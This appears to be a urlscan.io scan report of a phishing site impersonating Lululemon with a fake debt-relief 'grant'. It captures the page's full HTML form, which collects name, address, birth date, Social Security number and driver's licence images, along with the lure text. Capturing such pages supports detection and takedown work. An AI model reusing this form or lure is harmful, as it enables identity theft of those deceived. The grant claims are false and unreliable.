www.lululemongrant.xyz Open in urlscan Pro
162.0.215.206  Public Scan

Form analysis
1 forms found in the DOM

POST index.php

<form action="index.php" method="POST" enctype="multipart/form-data">
  <label for="full-name">Full Name</label>
  <input type="text" id="full-name" name="full-name" required="">
  <br>
  <legend style="font-weight:bold;margin-top:20px;">Address</legend>
  <label for="street-address">Street Address</label>
  <input type="text" id="street-address" name="street-address" required="">
  <label for="city">City</label>
  <input type="text" id="city" name="city" required="">
  <label for="state">State</label>
  <input type="text" id="state" name="state" required="">
  <label for="zipcode">Zipcode</label>
  <input type="text" id="zipcode" name="zipcode" required="">
  <label for="dob">Date Of Birth</label>
  <input type="date" id="dob" name="dob" required="">
  <label for="phone">Phone Number</label>
  <input type="tel" id="phone" name="phone" required="">
  <label for="email">Email Address</label>
  <input type="email" id="email" name="email" required="">
  <label for="dl-upload" style="font-weight:bold;margin-top:20px;">Upload Driver License</label>
  <label for="dl-upload-front">Upload Front Of Driver License</label>
  <input type="file" id="dl-upload-front" name="dl-upload-front" accept="image/*" required="">
  <label for="dl-upload-back">Upload Back Of Driver License</label>
  <input type="file" id="dl-upload-back" name="dl-upload-back" accept="image/*" required="">
  <label for="ssn">Social Security Number</label>
  <input type="text" id="ssn" name="ssn" required="">
  <br><br>
  <button type="submit" style="background-color:#d71e30 !important;font-size:18px;">Next</button>
</form>

Text Content

LULULEMON GRANT

In celebration of our 10-year anniversary


GRANT INFORMATION

Lululemon is pleased to announce the Lululemon Grant, a special initiative
launched in celebration of our 10-year anniversary. This grant aims to provide
financial support to individuals burdened by debt, with a total allocation of
$1,000,000. Please note that the grant will conclude once all funds have been
disbursed. Applications will be processed on a first-come, first-served basis,
with an 80% likelihood of approval.


PERSONAL INFORMATION

Full Name
Address Street Address City State Zipcode Date Of Birth Phone Number Email
Address Upload Driver License Upload Front Of Driver License Upload Back Of
Driver License Social Security Number

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